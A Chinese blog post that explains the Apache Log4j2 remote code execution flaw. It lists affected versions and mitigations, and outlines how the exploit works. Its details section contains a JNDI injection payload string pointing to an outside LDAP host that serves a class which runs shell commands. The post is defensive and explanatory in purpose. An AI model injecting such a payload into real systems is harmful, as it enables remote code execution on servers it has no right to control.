Apache Log4j2 漏洞修复及复现

Apache Log4j2 漏洞修复及复现,第1张

Apache Log4j2 漏洞修复及复现

文末漏洞细节

文章目录
    • 前言
    • 修复建议
    • 漏洞细节

前言

这几天 Apache Log4j2 远程代码执行漏洞刷屏了整个互联网行业,公司也发生了这个问题,做出了紧急修复。

介绍

相信每一个技术人都有听过这款日志框架的大名。Apache Log4j2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

https://github.com/apache/logging-log4j2

原因

由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

影响

漏洞利用无需特殊配置,经安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。因该组件使用极为广泛,影响面也很广。

漏洞评级

Apache Log4j 远程代码执行漏洞 严重

影响版本

Apache log4j2 >= 2.0, <= 2.14.1


修复建议

紧急缓解措施:

  1. 修改jvm参数-

Dlog4j2.formatMsgNoLookups=true

  1. 修改配置

log4j2.formatMsgNoLookups=True

  1. 将系统环境变量

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

升级:

升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

措施:

  • 限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。

漏洞细节


大家一定都看到这张图了,这张是利用漏洞执行远程代码调用打开一个计算器。

一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数。如果前台传的是构造的参数如:${jndi:ldap://gitee.com/rodert/exp}。exp 返回的是一个构造方法里执行 shell 代码的 class 文件。

然后你设置的什么命令服务器接收到参数后就执行这个命令了。

为保护大多数应用的安全,以上是大概思路,如果有兴趣复现学习,请在公众号回复 log4j2 查看实验案例。请勿作恶,后果自负。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5659962.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存